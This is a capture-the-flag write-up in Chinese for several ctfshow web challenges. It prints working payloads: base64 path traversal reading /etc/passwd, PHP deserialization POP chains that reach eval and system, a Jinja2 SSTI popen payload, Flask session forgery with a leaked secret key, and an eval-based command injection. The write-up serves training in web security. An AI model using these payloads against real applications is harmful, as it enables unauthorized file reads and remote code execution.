easy_signin

把base64删掉后就出现了file_get_contents,并且这里是需要base64编码传进去的,试一下../../../etc/passwd

这里会渲染成图片,把base64解码后就能拿到了
读一下index.php,里面就有flag
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 | <?php
 
 
 
 
 
 
 
 
 
 
 $image=$_GET['img'];
 
 $flag = "ctfshow{1275d180-310c-440d-9c2f-4a5d9c9bc63d}";
 if(isset($image)){
 $image = base64_decode($image);
 $data = base64_encode(file_get_contents($image));
 echo "<img src='data:image/png;base64,$data'/>";
 }else{
 $image = base64_encode("face.png");
 header("location:/?img=".$image);
 }
 
 | 
被遗忘的反序列化
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 
 | <?php
 
 error_reporting(0);
 show_source(__FILE__);
 include("check.php");
 
 class EeE{
 public $text;
 public $eeee;
 public function __wakeup(){
 if ($this->text == "aaaa"){
 echo lcfirst($this->text);
 }
 }
 
 public function __get($kk){
 echo "$kk,eeeeeeeeeeeee";
 }
 
 public function __clone(){
 $a = new cycycycy;
 $a -> aaa();
 }
 
 }
 
 class cycycycy{
 public $a;
 private $b;
 
 public function aaa(){
 $get = $_GET['get'];
 $get = cipher($get);
 if($get === "p8vfuv8g8v8py"){
 eval($_POST["eval"]);
 }
 }
 
 
 public function __invoke(){
 $a_a = $this -> a;
 echo "\$a_a\$";
 }
 }
 
 class gBoBg{
 public $name;
 public $file;
 public $coos;
 private $eeee="-_-";
 public function __toString(){
 if(isset($this->name)){
 $a = new $this->coos($this->file);
 echo $a;
 }else if(!isset($this -> file)){
 return $this->coos->name;
 }else{
 $aa = $this->coos;
 $bb = $this->file;
 return $aa();
 }
 }
 }
 
 class w_wuw_w{
 public $aaa;
 public $key;
 public $file;
 public function __wakeup(){
 if(!preg_match("/php|63|\*|\?/i",$this -> key)){
 $this->key = file_get_contents($this -> file);
 }else{
 echo "不行哦";
 }
 }
 
 public function __destruct(){
 echo $this->aaa;
 }
 
 public function __invoke(){
 $this -> aaa = clone new EeE;
 }
 }
 
 $_ip = $_SERVER["HTTP_AAAAAA"];
 unserialize($_ip);
 
 | 
这里的话不难看出有两个利用点,一个是w_wuw_w::__wakeup()可以读文件,一个是cycycycy::aaa()有eval
根据这里的提示,有一个check.php文件,尝试把他读出来
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | <?phpclass w_wuw_w{
 public $aaa;
 public $key;
 public $file;
 }
 $a = new w_wuw_w();
 $a -> file = "php://filter/read=convert.base64-encode/resource=check.php";
 $a -> aaa = &$a -> key;
 echo serialize($a);
 
 | 
这里的话是利用了一个地址指向的操作,让我们获取到的key的地址赋值给aaa,而在destruct中会有对aaa的输出,那么就能打印出key的内容了

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 
 | <?php
 function cipher($str) {
 
 if(strlen($str)>10000){
 exit(-1);
 }
 
 $charset = "qwertyuiopasdfghjklzxcvbnm123456789";
 $shift = 4;
 $shifted = "";
 
 for ($i = 0; $i < strlen($str); $i++) {
 $char = $str[$i];
 $pos = strpos($charset, $char);
 
 if ($pos !== false) {
 $new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
 $shifted .= $charset[$new_pos];
 } else {
 $shifted .= $char;
 }
 }
 
 return $shifted;
 }
 
 | 
这个就是aaa()中的加密函数,一个简单的凯撒移位加密,将获取到的字符串的每个字符往左移4位,字符顺序就是charset属性
关注到题目提示目录下有一个txt文件,然后可以看到gBoBg下有一个__toString(),这里有一个原生类调用的口子
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | public function __toString(){if(isset($this->name)){
 $a = new $this->coos($this->file);
 echo $a;
 }else if(!isset($this -> file)){
 return $this->coos->name;
 }else{
 $aa = $this->coos;
 $bb = $this->file;
 return $aa();
 }
 }
 
 | 
那我们用GlobIterator类去读一下目录
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | <?phpclass w_wuw_w{
 public $aaa;
 }
 class gBoBg{
 public $name;
 public $file;
 public $coos;
 }
 $a = new w_wuw_w();
 $a -> aaa = new gBoBg();
 $a -> aaa -> coos = "GlobIterator";
 $a -> aaa -> file = "*";
 $a -> aaa -> name = "111";
 echo serialize($a);
 
 | 
拿到一个h1nt.txt,读一下
| 12
 3
 4
 5
 
 | 
 key:qwertyuiopasdfghjklzxcvbnm123456789
 
 move:2~4
 
 | 
其实这个hint没啥用,我们已经直接读到check.php了
其实到这的话可以发现这道题就有很多预期解了,要么就是探测出flag的具体文件名,要么就是直接打RCE
这里我还是写预期解,也就是RCE吧
然后我们写poc
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | <?phpclass gBoBg{
 public $file;
 public $coos;
 }
 class w_wuw_w{
 public $aaa;
 }
 $a = new w_wuw_w();
 $a -> aaa = new gBoBg();
 $a -> aaa -> file = "aaa";
 $a -> aaa -> coos = new w_wuw_w();
 echo serialize($a);
 
 
 | 
所以最后的请求包
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | POST /?get=fe1ka1ele1efp HTTP/1.1Host: 81344772-6bac-4087-a5ea-585b5bf6b62e.challenge.ctf.show
 Cookie: cf_clearance=ZuK66QChNGftyyiGS39xGqXjRvrgqwc7dpOpwNp8hgY-1747317016-1.2.1.1-SHtYMtmhonoQh3f9JFLxlX5e8ZPl2H.d.1t6d9JUkU8A48zWJ8kwl3L9eAExpcFayYenFfR8OxZ7NWlafUA3eW..1Ql.yEeMVQsO2dN0LeOWb9v9mBTw9f9lNiJBsuz0wNfBuxQoVypAzPhH9KeUpkB22hemlwS35.DR.pfloutzMUBCc7K.SMPWBv0hD22WPrXL6TOwx.8Vlv0exiJGfJydMDF8Fmgi7BwFDHfm8A27bqv1xzCh1xdEneeUo.dok_1cBQWYDpbP2ClHu0miDKBW2hnvhGXG7HbMovGYSE3c1QFXa0TPiCQYSEXDX_10Bnlxz9QrXZujCxO7ZGcQA_vDxzoYodJRpDZrLpAsbq8
 Sec-Ch-Ua: "Not;A=Brand";v="99", "Google Chrome";v="139", "Chromium";v="139"
 Sec-Ch-Ua-Mobile: ?0
 Sec-Ch-Ua-Platform: "Windows"
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 Sec-Fetch-Site: same-origin
 Sec-Fetch-Mode: navigate
 Sec-Fetch-Dest: document
 Accept-Encoding: gzip, deflate, br
 Accept-Language: zh-CN,zh;q=0.9
 Aaaaaa: O:7:"w_wuw_w":1:{s:3:"aaa";O:5:"gBoBg":2:{s:4:"file";s:3:"aaa";s:4:"coos";r:1;}}
 Referer: https://81344772-6bac-4087-a5ea-585b5bf6b62e.challenge.ctf.show/
 Priority: u=0, i
 Connection: keep-alive
 Content-Length: 28
 Content-Type: application/x-www-form-urlencoded
 
 eval=system('cat+/f1agaaa');
 
 | 
easy_php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 
 | <?php
 
 
 
 
 
 
 
 
 
 
 
 error_reporting(0);
 highlight_file(__FILE__);
 
 class ctfshow{
 
 public function __wakeup(){
 die("not allowed!");
 }
 
 public function __destruct(){
 system($this->ctfshow);
 }
 
 }
 
 $data = $_GET['1+1>2'];
 
 if(!preg_match("/^[Oa]:[\d]+/i", $data)){
 unserialize($data);
 }
 
 
 ?>
 
 | 
一个很简单的wakeup绕过,用原生类去包装一下就行了
| 12
 3
 4
 5
 6
 7
 8
 
 | <?phpclass ctfshow{
 }
 $a = new SplObjectStorage();
 $a -> test = new ctfshow();
 $a -> test -> ctfshow = "whoami";
 echo serialize($a);
 ?>
 
 | 
然后需要注意的是我们传入的1+1>2是需要编码的,不然+号会被认为是空格
| 1
 | ?1%2b1>2=C:16:"SplObjectStorage":70:{x:i:0;m:a:1:{s:4:"test";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}
 | 
die()是不会影响反序列化的进行的,因为对象是存在内存中的,die只是终止脚本的运行,不影响php的GC回收机制销毁内存中的对象

easy_ssti
源码找到一个app.zip
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | from flask import Flaskfrom flask import render_template_string,render_template
 app = Flask(__name__)
 
 @app.route('/hello/')
 def hello(name=None):
 return render_template('hello.html',name=name)
 @app.route('/hello/<name>')
 def hellodear(name):
 if "ge" in name:
 return render_template_string('hello %s' % name)
 elif "f" not in name:
 return render_template_string('hello %s' % name)
 else:
 return 'Nonononon'
 
 
 | 
路径输入/hello/{{8*8}}返回hello 64,直接打ssti就行了,绕过的话直接用旁路注入外带参数就很方便
| 1
 | /hello/{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen'](request.values.a).read()}}?a=cat+/flag
 | 
easy_flask
一个登录口,有一个注册页面,先注册一个1111/111111登录看看

有一个leran的/show/接口,但是只给了部分源码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 
 | 
 from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
 
 
 app = Flask(__name__)
 
 
 app.secret_key = 'S3cr3tK3y'
 
 users = {
 
 }
 
 @app.route('/')
 def index():
 
 if 'loggedin' in session:
 return redirect(url_for('profile'))
 return redirect(url_for('login'))
 
 @app.route('/login/', methods=['GET', 'POST'])
 def login():
 msg = ''
 if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
 username = request.form['username']
 password = request.form['password']
 if username in users and password == users[username]['password']:
 session['loggedin'] = True
 session['username'] = username
 session['role'] = users[username]['role']
 return redirect(url_for('profile'))
 else:
 msg = 'Incorrect username/password!'
 return render_template('login.html', msg=msg)
 
 
 @app.route('/register/', methods=['GET', 'POST'])
 def register():
 msg = ''
 if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
 username = request.form['username']
 password = request.form['password']
 if username in users:
 msg = 'Account already exists!'
 else:
 users[username] = {'password': password, 'role': 'user'}
 msg = 'You have successfully registered!'
 return render_template('register.html', msg=msg)
 
 
 
 @app.route('/profile/')
 def profile():
 if 'loggedin' in session:
 return render_template('profile2.html', username=session['username'], role=session['role'])
 return redirect(url_for('login'))
 ......
 
 | 
拿到key了,试着解密一下session
| 12
 
 | root@VM-16-12-ubuntu:/home/ubuntu# flask-unsign --decode --cookie "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6IjExMTEifQ.aJxbNA.Bjred7ZyAItaME1fcFrYPimeaEY"{'loggedin': True, 'role': 'user', 'username': '1111'}
 
 | 
既然这里有key的话,试着伪造一下admin
| 12
 
 | root@VM-16-12-ubuntu:/home/ubuntu# flask-unsign --sign --cookie "{'loggedin': True, 'role': 'admin', 'username': '1111'}" --secret 'S3cr3tK3y'eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiIxMTExIn0.aJxcQQ.brvd49dIzi5itGCHr13s_JUByzE
 
 | 

好吧,假的flag~换个地方去做一下
在源码中发现一个路由可以下载文件

传入/download/?filename=/etc/passwd发现可以读取敏感文件,那就直接读一下app.py
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 
 | from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
 
 
 app = Flask(__name__)
 
 
 app.secret_key = 'S3cr3tK3y'
 
 users = {
 'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
 }
 
 
 
 @app.route('/')
 def index():
 
 if 'loggedin' in session:
 return redirect(url_for('profile'))
 return redirect(url_for('login'))
 
 @app.route('/login/', methods=['GET', 'POST'])
 def login():
 msg = ''
 if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
 username = request.form['username']
 password = request.form['password']
 if username in users and password == users[username]['password']:
 session['loggedin'] = True
 session['username'] = username
 session['role'] = users[username]['role']
 return redirect(url_for('profile'))
 else:
 msg = 'Incorrect username/password!'
 return render_template('login2.html', msg=msg)
 
 
 @app.route('/register/', methods=['GET', 'POST'])
 def register():
 msg = ''
 if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
 username = request.form['username']
 password = request.form['password']
 if username in users:
 msg = 'Account already exists!'
 else:
 users[username] = {'password': password, 'role': 'user'}
 msg = 'You have successfully registered!'
 return render_template('register2.html', msg=msg)
 
 
 
 @app.route('/profile/')
 def profile():
 if 'loggedin' in session:
 return render_template('profile2.html', username=session['username'], role=session['role'])
 return redirect(url_for('login'))
 
 
 @app.route('/show/')
 def show():
 if 'loggedin' in session:
 return render_template('show2.html')
 
 @app.route('/download/')
 def download():
 if 'loggedin' in session:
 filename = request.args.get('filename')
 if 'filename' in request.args:
 return send_file(filename, as_attachment=True)
 
 return redirect(url_for('login'))
 
 
 @app.route('/hello/')
 def hello_world():
 try:
 s = request.args.get('eval')
 return f"hello,{eval(s)}"
 except Exception as e:
 print(e)
 pass
 
 return "hello"
 
 
 
 @app.route('/logout/')
 def logout():
 session.pop('loggedin', None)
 session.pop('id', None)
 session.pop('username', None)
 session.pop('role', None)
 return redirect(url_for('login'))
 
 
 if __name__ == "__main__":
 app.run(host='0.0.0.0', port=8080)
 
 
 | 
在/hello/路由下发现一个eval,eval() 会执行 Python 表达式,把字符串当作 Python 代码运行。
直接打就行
| 1
 | /hello/?eval=__import__('os').popen('cat /flag_is_h3re').read()
 |